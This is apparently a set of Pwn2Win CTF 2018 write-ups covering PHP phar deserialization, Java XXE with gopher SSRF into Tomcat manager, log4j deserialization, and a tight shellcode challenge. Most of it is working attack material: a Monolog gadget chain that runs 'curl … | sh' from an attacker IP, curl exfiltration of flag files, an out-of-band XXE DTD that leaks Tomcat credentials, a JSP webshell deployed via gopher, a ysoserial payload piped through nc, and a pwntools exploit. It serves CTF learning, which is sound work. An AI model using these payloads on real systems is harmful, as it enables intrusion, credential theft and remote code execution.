It's recommended to read our responsive web version of this writeup.
- Pwn2Win CTF 2018
sasdf
https://sasdf.cf/ctf/writeup/2018/pwn2win/rev/back_to_bletchley_park/
sasdf
https://sasdf.cf/ctf/writeup/2018/pwn2win/crypto/GCM/
bookgin
In this challenge, we can upload a JPEG image to the server. We can also check the log page but it will return monolog
is not prepared. Additionally, we can share this image to others. The share feature will check if the image exists or not. For instance:
# no error
http://200.136.252.42/share/uploads%2Fb7a41ed641bf590cec346e0bdede04a8.jpg
# return error
http://200.136.252.42/share/uploads%2Faaaaa
# no error
http://200.136.252.42/share/%2fetc%2fpasswd
But one thing is interesting: it does not return an error if it's a directory:
# no error
http://200.136.252.42/share/uploads
Since we know the backend is PHP, we can try to profile the function. I guess is file_exists
because of this bahavior below. The results from server side are exactly the same as file_exists
.
php > var_dump(file_exists('/home/ubuntu/../ubuntu/../ubuntu'));
bool(true)
php > var_dump(file_exists('/home/ubuntu/../aaaaubuntu/../ubuntu'));
bool(false)
Ok, so we can upload an image, and the server side will use file_exist
to check. How can we RCE?
Although we cannot simply upload a webshell, we are able to upload an image with almost arbitrary content. If we can deserialize this file, it's possible to get RCE. But how can we leverage file_exist
to deserialize the image?
Here is a good example: how an innocuous getimagesize()
function turns into RCE. Also, one of Orange Tsai's challenge in HITCON 2017 is also about unsafe phar://
deserialization. Some even list several other exploitable function in PHP.
Therefore, the exploitation is invoking file_exists("phar://EVIL_IMAGE_PATH")
. We use PHPGGC to create a Generic Gadget Chains. Since the server leaks the information of using monolog in the log tab, we use Monolog/RCE1
payload here.
Modify gadgetchains/Monolog/RCE/1/chain.php
because the file has to be JPEG image:
<?php
namespace GadgetChain\Monolog;
class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public $version = '1.18 <= 1.23';
public $vector = '__destruct';
public $author = 'cf';
public function generate(array $parameters)
{
$a = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
['curl "240.240.240.240:1234" | sh', 'level' => null]
)
);
unlink('pwn.phar');
$p = new \Phar('pwn.phar', 0);
$p['file.txt'] = 'test';
$p->setMetadata($a);
$p->setStub("\xff\xd8\xff\xe0\x0a<?php __HALT_COMPILER(); ?>");
return $a;
}
}
Upload this JPEG image and get RCE by visiting http://200.136.252.42/share/pher%3a%2f%2fIMAGE_PATH
.
The remote server's nc
doesn't work so I have to use curl
to get the flag:
curl 240.240.240.240:12345 -F "a=`cat /flag/flag 2>&1`"
- Upload a webshell via image uploading API
- The server will rename the file, and it will also check the content to make sure it's JPG.
- Exploit
getimagesize()
?- If the server uses
getimagesize()
we can also injectphar://IMAGE_PATH
to trigger the deserialization and RCE. Refer to this. However I didn't try that because I have more confidence the server is usingfile_exists
in the share API.
- If the server uses
This challenge consists of 3 flags. We need file inclusion to get the first flag.
In this challenge, we can create/delete/read a message using JSON format. There are already 3 notes in the server. They are related to XML ,gopher protocol and json respectively. It seems like a hint.
Let's first try to add a message but it's not a valid JSON format. We get this juicy error information (some are omitted):
javax.servlet.ServletException: Servlet execution threw an exception
java.lang.Error: Error: could not match input com.sun.jersey.json.impl.reader.JsonLexer.zzScanError(JsonLexer.java:491)
com.sun.jersey.json.impl.reader.JsonLexer.yylex(JsonLexer.java:736)
com.sun.jersey.json.impl.reader.JsonXmlStreamReader.nextToken(JsonXmlStreamReader.java:160)
com.sun.jersey.json.impl.reader.JsonXmlStreamReader.readNext(JsonXmlStreamReader.java:187)
com.sun.jersey.json.impl.reader.JsonXmlStreamReader.readNext(JsonXmlStreamReader.java:178)
com.sun.jersey.json.impl.reader.JsonXmlStreamReader.next(JsonXmlStreamReader.java:448)
com.sun.xml.bind.v2.runtime.unmarshaller.StAXStreamConnector.bridge(StAXStreamConnector.java:197)
com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0(UnmarshallerImpl.java:366)
com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal(UnmarshallerImpl.java:345)
com.sun.jersey.json.impl.BaseJSONUnmarshaller.unmarshalJAXBElementFromJSON(BaseJSONUnmarshaller.java:108)
com.sun.jersey.json.impl.BaseJSONUnmarshaller.unmarshalFromJSON(BaseJSONUnmarshaller.java:97)
com.sun.jersey.json.impl.provider.entity.JSONRootElementProvider.readFrom(JSONRootElementProvider.java:125)
com.sun.jersey.spi.container.servlet.ServletContainer.service(ServletContainer.java:699)
...
javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
The footer in the error page and the header of the server indicate the backend is Apache Tomcat/6.0.26
+ Apache-Coyote/1.1
. The server uses jersey
library to parse JSON. However, the class is named JsonXmlStreamReader
.
We know that in XML, there is a notorious vulnerability called XXE. Maybe it's possible to include external entity in JSON?
After some Google, I found this post from 2009. I seems like the library will parse $
and @
symbol. You may refer to this CVE exploiting this.
In the source code, the symbols indeed have special meanings in the library. However I didn't dive into this too deep.
Then I build the jersey server from this example to test the parser myself. In the example above, the application/json
header needs to be explicitly set. I start to wonder what if I set to other type? And bingo! It works! The server will parse the request body according to the content-type
header.
curl -X PUT '10.133.70.7:8080/rest/messages' -H 'Content-Type: application/xml; charset=utf-8' -d @mar2.xml -sD -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<message>
<id>2</id>
<message>msg</message>
<title>xml</title>
</message>
Therefore that's try XXE:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<message>
<id></id>
<message>&xxe;</message>
<title>xml</title>
</message>
Note that XXE can also be used to list directory! <!ENTITY xxe SYSTEM "file:///">]
will list all the file and directory on the root. The flag is in /flag/flag
. CTF-BR{TYPE_CONFUSION_ON_APIS_ARE_LOVELY_WITH_XXE_DONT_U_THINK??}
.
I think this is intended solution due to type confusion. It might also be possible to exploit the JSON parser (e.g. CVE-2017-7525).
Reference:
bookgin Special thanks to the author @pimps!
In the first stage, we can list the file in the root. There is a file named root_pwd.txt
:RCE_TO_PWN_ME
. Thus, in this stage we have to get shell and get root!
The only ability currently we have is file inclusion. However, since XXE includes the file in XML, the whole xml has to be parsed to XML correctly. Otherwise it will return an error. For example, we cannot read html, xml or most binary file. They will break the whole XML structure.
In /etc/passwd
we found the home directory of Apache tomcat 6.0 is in /opt/tomcat
. In the directory and we found: the manager
directory. That means we might be able to access Apache Tomcat manager interface. However, we got 403 forbidden visiting /manager
because apprarently the server only accepts connection from localhost.
Don't forget the XXE support other protocols like HTTP and gopher (because of the hint in the message). Let's try to make a request from localhost and access the manager API.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost:8080/manager/list">]>
<message>
<id></id>
<message>&xxe;</message>
<title>xml</title>
</message>
Unfortunately we still got an error. It's because the web interface is protected by HTTP basic authentication. However, in this JAVA XXE, the HTTP protocol does not implement HTTP basic authentication. We cannot use admin:password@localhost:8080
syntax to login. - We have to utilize gopher protocol!
Let's get the password first. The password is in /opt/tomcat/conf/tomcat-users.xml
. However we cannot directly read this file because it will break the xml parser. We have to use some clever technique to bypass this limitation - out-of-band.
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://240.240.240.240:8080/xxe_file.dtd">
%asd;
%c;
]>
<message>
<id></id>
<message>&rrr;</message>
<title>xml</title>
</message>
xxe_file.dtd
:
<!ENTITY % d SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://240.240.240.240:8082/?a=%d;'>">
Basically, it first includes the XML DTD, and then it reads the file. Instead of rendering in XML, it sends the file content to us through http protocol. That's why it's called out-of-band. Here is the password file of tomcat manager:
<tomcat-users>
<role rolename="manager"/>
<user name="admin" password="sup3rs3cr3tp4ssc0d3" roles="manager"/>
</tomcat-users>
Since the HTTP protocol in this JAVA XML has no support of HTTP basic authentication, we have to leverage gopher to make the following request:
GET /manager/list HTTP/1.1
Host: localhost:8080
Authorization: Basic YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw==
Connection: close
- The
host
header is necessary. Otherwise Apache server will return an error. Connection: close
is essential. By default gopher protocol doesn't close the connection. This will make the whole connection hang. Therefore we should ask the server side to close the connection.
Simply use URL encoding (percent-encoding) to insert CRLF.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY rrr SYSTEM "gopher://localhost:8080/_GET%20/manager/list%20HTTP/1.1%0d%0aHost%3a%20localhost%3a8080%0d%0aAuthorization%3A%20Basic%20YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw%3D%3D%0d%0aConnection%3a%20close%0d%0a">
]>
<message>
<id></id>
<message>&rrr;</message>
<title>dd</title>
</message>
And our payload works! The server will return a list of applications.
In Tomcat manager, we can deploy an application remotely. Therefore our plan is to utilize gopher to smuggle the HTTP protocol, and deploy a malicious application!
I install a Tomcat docker locally to see the payload of the HTTP request. When deploying an application remotely, the browser will send a HTTP PUT request.
PUT /manager/deploy?path=/_ HTTP/1.1
Host: localhost:8080
Content-Length: 1234
Authorization: Basic YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw==
Connection: close
[WAR application]
In order to create a malicious WAR application and deploy to Tomcat, I found a great Tomcat backdoor example. Here is another official example of a Tomcat WAR application. In fact, we can omit WEB-INF/web.xml
and META-INF
directory and files. Just creating a .war
file with index.jsp
is enough. Additionally, both jar -cvf
and zip
can create a valid WAR application.
Here is my damn-small webshell index.jsp
. Then zip -r pwn.war index.jsp
this file.
<%!
void f(String k) throws java.io.IOException{
Runtime.getRuntime().exec(k == null ? "true": k);
}
%>
<% f(request.getParameter("_")); %>
Note: Actually you can use a common webshell, but I found when the POST body is more than 1200 bytes, the connection will time out. I think it's due to the firewall, since pwn2win CTF uses some VPN isolated environment for this challenge. After I get the shell of the remote machine and I try to download some other files from my computer, the connection will timeout once the file size is more than 1200 bytes approximately. Thus I have to split the file into small pieces......
ow we can just mimic the request using gopher. Unfortunately, the JAVA XXE gopher protocol doesn't support all the non-ascii characters. Any character above than %7f
will lead to some problems. gopher will append some \xc2
\xc3
...... In BlackHat 2012, SSRF VS. Business by Polyakov et al. mentioned this behevior. Refer to the slide P.71 and paper P.25. Thanks to @pimps for letting me know that.
The symbols from 7A to 88 in hex were changed by gopher to the
?
symbol.
However, @pimps creates a amazing tool gopher-tomcat-deployer to create a zip file in ASCII range (0x00-0x7f):
- Timestamp: simply set it to a time in ASCII range
- CRC32: just append whitespace in the uncompresseed file and try to recompute again
Finally, the payload:
<%!void f(String k)throws java.io.IOException{Runtime.getRuntime().exec(k==null?"true":k);}%><%f(request.getParameter("_"));%>
gopher://localhost:8080/_PUT%20/manager/deploy%3Fpath%3D/_%20HTTP/1.1%0D%0AHost%3A%20localhost%3A8080%0D%0AContent-Length%3A%20183%0D%0AAuthorization%3A%20Basic%20YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw%3D%3D%0D%0AConnection%3A%20close%0D%0A%0D%0APK%03%04%14%00%00%00%00%00%00%00%21%00Z%7D%03%1EK%00%00%00K%00%00%00%05%00%00%00c.jsp%3C%25Runtime.getRuntime%28%29.exec%28request.getParameter%28%22_%22%29%29%3B%25%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20PK%01%02%14%03%14%00%00%00%00%00%00%00%21%00Z%7D%03%1EK%00%00%00K%00%00%00%05%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00c.jspPK%05%06%00%00%00%00%01%00%01%003%00%00%00n%00%00%00%00%00
Then visit http://10.133.70.7:8080/_/c.jsp?_=curl MYIP
to get RCE. I don't know why the bash reverse shell doesn't work, so I use python revere shell with pty. Simply run su -
with password RCE_TO_PWN_ME
to get the flag in /root
!
CTF-BR{{W00T_RCE???_ALL_HAIL_TO_GOPHER_THE_BEAVER_OF_PWNAGE}
. There is an extra {
in the flag.
In the tomcat manager doc, it supports deploy WAR application from a local file. If we can somehow upload a malicious WAR file to the server, we can deploy the application using file:/PATH
.
In fact, JAVA XXE also supports jar:
protocol. Refer to XML Schema, DTD, and Entity Attacks P.15 - 17 by Timothy D. Morgan (@ecbftw).
The attack works by sending an initial request which asks Xerces to fetch a jar URL from a web server controlled by the attacker. Java downloads this file to a designated temporary directory using a randomly selected file name.
Since we can include any file in the server, it's easy to locate the temporary JAR file in /opt/tomcat/temp
. One can leverage this technique to create temporary WAR file, and the use deploy?war=file:/opt/tomcat/temp/...
to upload the backdoor.
I didn't try this but I can see the temporary file in /opt/tomcat/temp
. It's likely this challenge can also be solved in this way.
- Bypass gopher replacement
- Percent-encoding doesn't work because gopher will replace it. Sending raw byte doesn't work either due to XML parsing failure.
- XML escape characters
#&x60;
doesn't work either. - Utilize XML encode. Maybe we can find a encoding supporting raw byte?
- Deploy application using HTTP
- Because in the document, the war is described as a
java.net.JarURLConnection
class. This class should support HTTP so I tried thisdeploy?war=http://
,deploy?war=jar:http://
but none of them works.
- Because in the document, the war is described as a
The step 3 is to pwn the Apache log4j server in LAN. Let's first retrieve some information:
/etc/hosts
: We see this line10.133.70.13 log4jserver.local
log4j2.properties
: Sorry I forget the exact path. The file is in somewhere in/opt/tomcat
:
log4j.rootLogger=DEBUG, server
# to connect to the remote server
log4j.appender.server=org.apache.log4j.net.SocketAppender
# set set that layout to be SimpleLayout
log4j.appender.server.layout=org.apache.log4j.SimpleLayout
log4j.appender.server.RemoteHost=log4jserver.local
log4j.appender.server.Port=1337
Also, the log4jserver has firewalls. It can only communicate with this server of the challenge.
Google log4j rce
. We found CVE-2017-5645.
java -jar ysoserial-modified.jar CommonsCollections6 bash 'find / | nc 10.133.70.7 1234' > payload
# upload the payload to the challenge server
cat payload | nc log4jserver.local 1337
Get the flag easily! CTF-BR{<3<3<3_SERIALIZATION_IS_LOVE_<3<3<3}
- Send the payload using gopher because I haven't solved step 2 first
- I contact to the organizers and they said I need to solve step 2 first.
- The payload contains non-ascii bytes which gopher will replace them......
- The payload is more than 1200 bytes......
- Call
mmap
a memory withRWX
permission - Ask for at most 12 bytes input
- Call
mprotect
to removeW
permission from that mmap memory - Jump to that memory and execute your shellcode
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff78baae7 (<mprotect+7>: cmp rax,0xfffffffffffff001)
RDX: 0x5
RSI: 0x1000
RDI: 0x7ffff7ff7000 (mov al,0xa)
RBP: 0x7fffffffe580 --> 0x555555554cf0 (push r15)
RSP: 0x7fffffffe560 --> 0x7fffffffe668 --> 0x7fffffffe853 ("./minishell")
RIP: 0x7ffff7ff7000 (mov al,0xa)
R8 : 0x555555757b30 --> 0x555555757c30 --> 0x0
R9 : 0x0
R10: 0x1
R11: 0x202
R12: 0x5555555549b0 (xor ebp,ebp)
R13: 0x7fffffffe660 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
- Notice that
RDI
is address of the mmap memory
As the W
permission has already been removed, we need to call mprotect
to make the memory writable again. Luckily most of the registers are already well set, we just need to adjust RAX
and RDX
.
mprotect(void *addr, size_t len, int prot)
RDI
is already set to address of mmap memoryRSI
can be any valueRDX
should be7
RAX
should be0xa
Shellcode (6 bytes):
mov al, 0xa
mov dl, 0x7
syscall
After calling mprotect
, the register status become:
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7ff7006 --> 0xf8eb5e5f5051
RDX: 0x7
RSI: 0x1000
RDI: 0x7ffff7ff7000 --> 0x5051050f07b20ab0
RBP: 0x7fffffffe580 --> 0x555555554cf0 (push r15)
RSP: 0x7fffffffe560 --> 0x7fffffffe668 --> 0x7fffffffe853 ("./minishell")
RIP: 0x7ffff7ff7006 --> 0xf8eb5e5f5051
R8 : 0x555555757b30 --> 0x555555757c30 --> 0x0
R9 : 0x0
R10: 0x1
R11: 0x317
R12: 0x5555555549b0 (xor ebp,ebp)
R13: 0x7fffffffe660 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
read(int fd, void *buf, size_t count)
RDI
should be0
RSI
should be the address of mmap memoryRDX
can be any valueRAX
is already set to0
We have 6 bytes left to call read
. We need at least 4 bytes to control the register RDI
and RSI
, also 2 bytes for syscall
, so we can only read 7 bytes if we execute the following shellcode (6 bytes):
push rdi
push rax
pop rdi
pop rsi
syscall
However, we can't execute the next shellcode because RIP
is not set to RSI
. Notice that RCX
is the address after calling syscall
in our previous shellcode, if we set RSI
to RCX
and jump back to syscall
, we can continue execute our new shellcode.
Here is the shellcode (12 bytes):
mov al, 0xa
mov dl, 0x7
_syscall:
syscall
push rcx
push rax
pop rdi
pop rsi
jmp _syscall
The rest is pretty straightforward, as RDI
and RSI
are already set, we just need to change RDX
to a bigger value to read our ORW shellcode.
Shellcode (6 bytes):
mov al, 0
mov dl, 0xff
syscall
Exploit:
#!/usr/bin/env python
import sys
from pwn import *
context.arch = 'amd64'
host = '200.136.252.34'
port = 4545
if len(sys.argv) == 1:
r = process('./minishell')
else:
r = remote(host, port)
raw_input('#')
r.recvuntil('So what? ')
# mprotect(mmap_addr, len, PROC_RWX)
# read(0, mmap_addr+offset, 7)
sc = """
mov al, 0xa
mov dl, 0x7
L20:
syscall
push rcx
push rax
pop rdi
pop rsi
jmp L20
"""
sc = asm(sc)
r.send(sc)
sleep(0.5)
# read(0, mmap_addr+offset, 0xff)
sc = """
mov al, 0
mov dl, 0xff
syscall
"""
r.send(asm(sc))
sleep(0.5)
# open('/home/minishell/flag.txt')
# read(fd[rax], buf, 0x30)
# write(1, buf, 0x30)
# exit()
sc = """
mov rax, 2
mov rdi, rsi
add rdi, 83
mov rsi, 0
mov rdx, 0
syscall
mov rsi, rdi
mov rdi, rax
mov rax, 0
mov rdx, 0x30
syscall
mov rax, 1
mov rdi, 1
syscall
mov rax, 60
syscall
"""
r.sendline('AAAAAA' + asm(sc) + '/home/minishell/flag.txt\x00')
r.interactive()
Flag: CTF-BR{s0000_t1ght_f0r_my_B1G_sh3ll0dE_}